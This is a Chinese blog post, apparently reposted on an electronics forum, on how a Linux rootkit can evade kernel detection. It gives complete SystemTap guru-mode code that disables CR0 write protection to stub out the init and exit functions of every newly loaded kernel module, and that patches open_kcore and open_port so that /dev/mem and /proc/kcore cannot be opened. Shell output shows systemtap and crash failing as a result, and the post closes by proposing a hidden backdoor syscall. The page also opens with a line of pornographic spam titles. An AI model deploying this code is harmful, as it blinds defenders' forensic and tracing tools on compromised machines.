91欧美超碰AV自拍|国产成年人性爱视频免费看|亚洲 日韩 欧美一厂二区入|人人看人人爽人人操aV|丝袜美腿视频一区二区在线看|人人操人人爽人人爱|婷婷五月天超碰|97色色欧美亚州A√|另类A√无码精品一级av|欧美特级日韩特级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Linux Rootkit如何避開內(nèi)核檢測的

Linux閱碼場 ? 來源:Linuxer ? 2020-06-03 15:56 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

Rootkit在登堂入室并得手后,還要記得把門鎖上。

如果我們想注入一個Rootkit到內(nèi)核,同時(shí)不想被偵測到,那么我們需要做的是精妙的隱藏,并保持低調(diào)靜悄悄,這個話題我已經(jīng)談過了,諸如進(jìn)程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見:https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然則天網(wǎng)恢恢,疏而不漏,馬腳總是要露出來的。如果已經(jīng)被懷疑,如何反制呢?

其實(shí)第一時(shí)間采取反制措施勢必重要!我們需要的只是占領(lǐng)制高點(diǎn),讓后續(xù)的偵測手段無從開展。

我們必須知道都有哪些偵測措施用來應(yīng)對Rootkit,常見的,不外乎以下:

systemtap,raw kprobe/jprobe,ftrace等跟蹤機(jī)制。它們通過內(nèi)核模塊起作用。

自研內(nèi)核模塊,采用指令特征匹配,指令校驗(yàn)機(jī)制排查Rootkit。

gdb/kdb/crash調(diào)試機(jī)制,它們通過/dev/mem,/proc/kcore起作用。

和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對象。無論如何互搏,其戰(zhàn)場均在內(nèi)核態(tài)。

很顯然,我們要做的就是:

第一時(shí)間封堵內(nèi)核模塊的加載。

第一時(shí)間封堵/dev/mem,/proc/kcore的打開。

行文至此,我們應(yīng)該已經(jīng)可以說出無數(shù)種方法來完成上面的事情,對我個人而言,我的風(fēng)格肯定又是二進(jìn)制hook,但這次我希望用一種正規(guī)的方式來搞事情。

什么是正規(guī)的方式,什么又是奇技淫巧呢?

我們知道,Linux內(nèi)核的text段是在編譯時(shí)靜態(tài)確定的,加載時(shí)偶爾有重定向,但依然保持著緊湊的布局,所有的內(nèi)核函數(shù)均在一個范圍固定的緊湊內(nèi)存空間內(nèi)。

因此凡是往超過該固定范圍的地方進(jìn)行call/jmp的,基本都是違規(guī),都應(yīng)該嚴(yán)查。換句話說,靜態(tài)代碼不能往動態(tài)內(nèi)存進(jìn)行直接的call/jmp(畢竟靜態(tài)代碼并不知道動態(tài)地址啊),如果靜態(tài)代碼需要動態(tài)的函數(shù)完成某種任務(wù),那么只能用回調(diào),而回調(diào)函數(shù)在指令層面是要借助寄存器來尋址的,而不可能用rel32立即數(shù)來尋址。

如果我們在靜態(tài)的代碼中hack掉一條call/jmp指令,使得它以新的立即數(shù)作為操作數(shù)call/jmp到我們的動態(tài)代碼,那么這就是一個奇技淫巧,這就是不正規(guī)的方式。

反之,如果我們調(diào)用Linux內(nèi)核現(xiàn)成的接口注冊一個回調(diào)函數(shù)來完成我們的任務(wù),那么這就是一種正規(guī)的方式,本文中我將使用一種基于內(nèi)核通知鏈(notifier chain)的正規(guī)技術(shù),來封堵內(nèi)核模塊。

下面步入正題。

首先,我們來看第一點(diǎn)。下面的stap腳本展示了如何做:

#!/usr/bin/stap -g

// dismod.stp

%{

// 我們利用通知鏈機(jī)制。

// 每當(dāng)內(nèi)核模塊進(jìn)行加載時(shí),都會有消息在通知鏈上通知,我們只需要注冊一個handler。

// 我們的handler讓該模塊“假加載”!

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;" 防止偵測模塊在exit函數(shù)中做一些事情。

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notifier register failed ");

return;

}

%}

probe begin

{

dismod();

exit();

}

現(xiàn)在,讓我們運(yùn)行上述腳本:

[root@localhost test]# ./dismod.stp

[root@localhost test]#

我們的預(yù)期是,此后所有的模塊將會“假裝”成功加載進(jìn)內(nèi)核,但實(shí)際上并不起任何作用,因?yàn)槟K的_init函數(shù)被短路繞過,不再執(zhí)行。

來吧,我們寫一個簡單的內(nèi)核模塊,看看效果:

// testmod.c

#include

noinline int test_module_function(int i)

{

printk("%d ", i);

// 我們的測試模塊非常狠,一加載就讓內(nèi)核panic。

panic("shabi");

}

static int __init testmod_init(void)

{

printk("init ");

test_module_function(1234);

return 0;

}

static void __exit testmod_exit(void)

{

printk("exit ");

}

module_init(testmod_init);

module_exit(testmod_exit);

MODULE_LICENSE("GPL");

如果我們在沒有執(zhí)行dismod.stp的情況下加載上述模塊,顯而易見,內(nèi)核會panic,萬劫不復(fù)。但實(shí)際上呢?

編譯,加載之:

[root@localhost test]# insmod ./testmod.ko

[root@localhost test]# lsmod |grep testmod

testmod 12472 0

[root@localhost test]# cat /proc/kallsyms |grep testmod

ffffffffa010b027 t testmod_exit [testmod]

ffffffffa010d000 d __this_module [testmod]

ffffffffa010b000 t test_module_function [testmod]

ffffffffa010b027 t cleanup_module [testmod]

[root@localhost test]# rmmod testmod

[root@localhost test]#

[root@localhost test]# echo $?

0

內(nèi)核什么也沒有打印,也并沒有panic,相反,模塊成功載入,并且其所有的符號均已經(jīng)注冊成功,并且還能成功卸載。這意味著,模塊機(jī)制失效了!

我們試試還能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

WARNING: /usr/bin/staprun exited with status: 1

Pass 5: run failed. [man error::pass5]

看來不行了。

假設(shè)該機(jī)制用于Rootkit的反偵測,如果想用stap跟蹤內(nèi)核,進(jìn)而查出異常點(diǎn),這一招已經(jīng)失效。

接下來,讓我們封堵/dev/mem,/proc/kcore,而這個簡直太容易了:

#!/usr/bin/stap -g

// diskcore.stp

function kcore_poke()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;即返回錯誤!也就意味著“文件不可打開”。

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

// text內(nèi)存已經(jīng)可寫,直接用memcpy來吧。

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

probe begin

{

kcore_poke();

exit();

}

來吧,我們試一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

...

This program has absolutely no warranty. Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

crash [OPTION]... [NAMELIST] (live system form)

Enter "crash -h" for details.

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

...

crash: /proc/kcore: Operation not permitted

...

哈哈,完全無法調(diào)試live kernel了!試問如何抓住Rootkit現(xiàn)場?

注意,上面的兩個機(jī)制,必須讓禁用/dev/mem,/proc/kcore先于封堵模塊執(zhí)行,不然就會犯形而上學(xué)的錯誤,自己打自己。上述方案僅做演示,正確的做法應(yīng)該是將它們合在一起:

#!/usr/bin/stap -g

// anti-sense.stp

%{

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準(zhǔn)rel32調(diào)用偏移,直接使用匯編。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;"

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function diskcore()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內(nèi)存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內(nèi)存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

printk("notify addr:%p ", _dismod_module_notify);

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notify register failed ");

return;

}

%}

probe begin

{

dismod();

diskcore();

exit();

}

從此以后,若想逮到之前的那些Rootkit,你無法加載內(nèi)核模塊,無法crash調(diào)試,無法自己編程mmap /dev/mem,重啟吧!重啟之后呢?一切歸于塵土。

然而,我們自己怎么辦?這將把我們自己的退路也同時(shí)封死,只要使用電壓凍結(jié)住內(nèi)存快照,離線分析,真相必將大白!我們必須給自己留個退路,以便搗毀并恢復(fù)現(xiàn)場后,全身而退,怎么做到呢?

很容易,還記得在文章“Linux動態(tài)為內(nèi)核添加新的系統(tǒng)調(diào)用”中的方法嗎?我們封堵了前門的同時(shí),以新增系統(tǒng)調(diào)用的方式留下后門,豈不是很正常的想法?

是的。經(jīng)理也是這樣想的。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • TCP
    TCP
    +關(guān)注

    關(guān)注

    8

    文章

    1425

    瀏覽量

    83551
  • rootkit
    +關(guān)注

    關(guān)注

    0

    文章

    8

    瀏覽量

    2940

原文標(biāo)題:Linux Rootkit如何避開內(nèi)核檢測的

文章出處:【微信號:LinuxDev,微信公眾號:Linux閱碼場】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點(diǎn)推薦

    進(jìn)迭時(shí)空 Upstream | K3 獲得 Linux 7.0 內(nèi)核原生支持

    2026年2月22日,隨著Linux內(nèi)核正式發(fā)布v7.0-rc1版本,全球開源社區(qū)迎來了RISC-V生態(tài)的歷史性跨越。進(jìn)迭時(shí)空(SpacemiT)研發(fā)的高性能RISC-VAICPU芯片K3作為全球首
    的頭像 發(fā)表于 02-27 18:10 ?1.1w次閱讀
    進(jìn)迭時(shí)空 Upstream | K3 獲得 <b class='flag-5'>Linux</b> 7.0 <b class='flag-5'>內(nèi)核</b>原生支持

    Linux內(nèi)核伙伴系統(tǒng)內(nèi)存申請函數(shù)詳解:從原理到實(shí)戰(zhàn)

    Linux 內(nèi)核中,內(nèi)存管理是整個系統(tǒng)穩(wěn)定運(yùn)行的基石,而伙伴系統(tǒng)(Buddy System) 作為內(nèi)核物理內(nèi)存分配的核心機(jī)制,更是驅(qū)動開發(fā)、內(nèi)核模塊開發(fā)的必備知識點(diǎn)。它通過 "2
    的頭像 發(fā)表于 02-10 16:58 ?3641次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>伙伴系統(tǒng)內(nèi)存申請函數(shù)詳解:從原理到實(shí)戰(zhàn)

    Linux內(nèi)核的“心跳”:jiffies如何為系統(tǒng)計(jì)時(shí)?

    Linux 內(nèi)核的世界里,有一個默默工作的 "計(jì)時(shí)器"——jiffies。它不像我們手機(jī)上的時(shí)鐘那樣顯示年月日,卻掌控著內(nèi)核中絕大多數(shù)時(shí)間相關(guān)的操作:從進(jìn)程調(diào)度到設(shè)備驅(qū)動的定時(shí)檢查,都離不開它的身影。
    的頭像 發(fā)表于 02-04 16:27 ?843次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>的“心跳”:jiffies如何為系統(tǒng)計(jì)時(shí)?

    深入RK3588內(nèi)核:rockchip_linux_defconfig的作用與調(diào)試價(jià)值

    在 RK3588 芯片的 Linux 開發(fā)中,有一個文件始終是開發(fā)者繞不開的核心 ——kernel/arch/arm64/configs/rockchip_linux_defconfig。無論是首次
    的頭像 發(fā)表于 02-03 15:56 ?1184次閱讀
    深入RK3588<b class='flag-5'>內(nèi)核</b>:rockchip_<b class='flag-5'>linux</b>_defconfig的作用與調(diào)試價(jià)值

    Linux系統(tǒng)內(nèi)核參數(shù)調(diào)優(yōu)實(shí)戰(zhàn)指南

    Linux 內(nèi)核參數(shù)調(diào)優(yōu)是系統(tǒng)性能優(yōu)化的核心環(huán)節(jié)。隨著云原生架構(gòu)的普及和硬件性能的飛速提升,默認(rèn)的內(nèi)核參數(shù)配置往往無法充分發(fā)揮系統(tǒng)潛力。在高并發(fā) Web 服務(wù)、大數(shù)據(jù)處理、容器化部署等場景下,合理的
    的頭像 發(fā)表于 01-28 14:27 ?468次閱讀

    【「Linux 設(shè)備驅(qū)動開發(fā)(第 2 版)」閱讀體驗(yàn)】Linux內(nèi)核開發(fā)基礎(chǔ)

    感謝電子發(fā)燒友論壇提供的《Linux設(shè)備驅(qū)動開發(fā)(第2版)》閱讀機(jī)會,測評將從Linux內(nèi)核開發(fā)基礎(chǔ)、Linux內(nèi)核平臺抽象和設(shè)備驅(qū)動程序、
    發(fā)表于 01-12 22:45

    深入Linux內(nèi)核:進(jìn)程調(diào)度的核心邏輯與實(shí)現(xiàn)細(xì)節(jié)

    ,背后都離不開內(nèi)核調(diào)度算法的精準(zhǔn)操控。今天,我們就從優(yōu)先級、調(diào)度算法、時(shí)間片分配到底層實(shí)現(xiàn),全方位拆解Linux內(nèi)核進(jìn)程調(diào)度的核心邏輯。 一、進(jìn)程調(diào)度的“身份標(biāo)識”:優(yōu)先級與分類 要理解調(diào)度邏輯,首先得搞懂:進(jìn)程憑什么“插隊(duì)”?
    的頭像 發(fā)表于 12-24 07:05 ?4337次閱讀
    深入<b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>:進(jìn)程調(diào)度的核心邏輯與實(shí)現(xiàn)細(xì)節(jié)

    基于 DR1M90 的 Linux-RT 內(nèi)核開發(fā):從編譯配置到 GPIO / 按鍵應(yīng)用實(shí)現(xiàn)(1)

    本手冊由創(chuàng)龍科技研發(fā),針對 DR1M90,詳述 Linux-RT 實(shí)時(shí)內(nèi)核開發(fā):含實(shí)時(shí)性測試(LinuxLinux-RT 對比、CPU 空載 / 滿負(fù)荷 / 隔離狀態(tài)測試)、
    的頭像 發(fā)表于 12-02 10:38 ?1199次閱讀
    基于 DR1M90 的 <b class='flag-5'>Linux</b>-RT <b class='flag-5'>內(nèi)核</b>開發(fā):從編譯配置到 GPIO / 按鍵應(yīng)用實(shí)現(xiàn)(1)

    Linux內(nèi)核printk日志級別全解析:從參數(shù)解讀到實(shí)操配置

    一、開篇:一個命令引出的核心問題 在?Linux?終端執(zhí)行?cat /proc/sys/kernel/printk,你可能會看到這樣的輸出: 這串?dāng)?shù)字不是隨機(jī)的,而是內(nèi)核日志系統(tǒng)的“核心配置開關(guān)
    的頭像 發(fā)表于 11-20 15:54 ?1720次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>printk日志級別全解析:從參數(shù)解讀到實(shí)操配置

    deepin亮相2025中國Linux內(nèi)核開發(fā)者大會

    11 月 1 日,第二十屆中國 Linux 內(nèi)核開發(fā)者大會(CLK)在深圳舉辦。CLK 作為國內(nèi) Linux 內(nèi)核領(lǐng)域極具影響力的峰會,由清華大學(xué)、Intel、華為、阿里云、富士通南大
    的頭像 發(fā)表于 11-05 17:59 ?837次閱讀

    如何將 GPIO PWM 和 GPIO Capture 驅(qū)動程序?qū)?Linux 內(nèi)核,實(shí)現(xiàn) PWM 輸出并檢測引腳的變化狀態(tài)?

    如何將 GPIO PWM 和 GPIO Capture 驅(qū)動程序?qū)?Linux 內(nèi)核,實(shí)現(xiàn) PWM 輸出并檢測引腳的變化狀態(tài)
    發(fā)表于 08-20 08:20

    Linux內(nèi)核參數(shù)調(diào)優(yōu)方案

    在高并發(fā)微服務(wù)環(huán)境中,網(wǎng)絡(luò)性能往往成為K8s集群的瓶頸。本文將深入探討如何通過精細(xì)化的Linux內(nèi)核參數(shù)調(diào)優(yōu),讓你的K8s節(jié)點(diǎn)網(wǎng)絡(luò)性能提升30%以上。
    的頭像 發(fā)表于 08-06 17:50 ?974次閱讀

    如何配置和驗(yàn)證Linux內(nèi)核參數(shù)

    Linux系統(tǒng)運(yùn)維和性能優(yōu)化中,內(nèi)核參數(shù)(sysctl)的配置至關(guān)重要。合理的參數(shù)調(diào)整可以顯著提升網(wǎng)絡(luò)性能、系統(tǒng)穩(wěn)定性及資源利用率。然而,僅僅修改參數(shù)是不夠的,如何驗(yàn)證這些參數(shù)是否生效同樣關(guān)鍵。
    的頭像 發(fā)表于 05-29 17:40 ?1171次閱讀

    Linux內(nèi)核編譯失???移動硬盤和虛擬機(jī)的那些事兒

    Linux開發(fā)中,編譯內(nèi)核是一項(xiàng)常見任務(wù),但不少開發(fā)者在移動硬盤或虛擬機(jī)環(huán)境下嘗試時(shí)會遭遇失敗。本文將簡要探討這些問題的成因,并介紹一些虛擬機(jī)使用技巧,幫助大家更好地應(yīng)對相關(guān)問題。在移動硬盤里編譯
    的頭像 發(fā)表于 04-11 11:36 ?1017次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內(nèi)核</b>編譯失???移動硬盤和虛擬機(jī)的那些事兒

    樹莓派4 性能大比拼:標(biāo)準(zhǔn)Linux與實(shí)時(shí)Linux 4.19內(nèi)核的延遲測試

    引言本文是對我之前關(guān)于RaspberryPi3同一主題的帖子的更新。與之前的帖子一樣,我使用的是隨Raspbian鏡像提供的標(biāo)準(zhǔn)內(nèi)核,以及應(yīng)用了RT補(bǔ)丁的相似內(nèi)核版本。對于實(shí)時(shí)版,我
    的頭像 發(fā)表于 03-25 09:39 ?844次閱讀
    樹莓派4 性能大比拼:標(biāo)準(zhǔn)<b class='flag-5'>Linux</b>與實(shí)時(shí)<b class='flag-5'>Linux</b> 4.19<b class='flag-5'>內(nèi)核</b>的延遲測試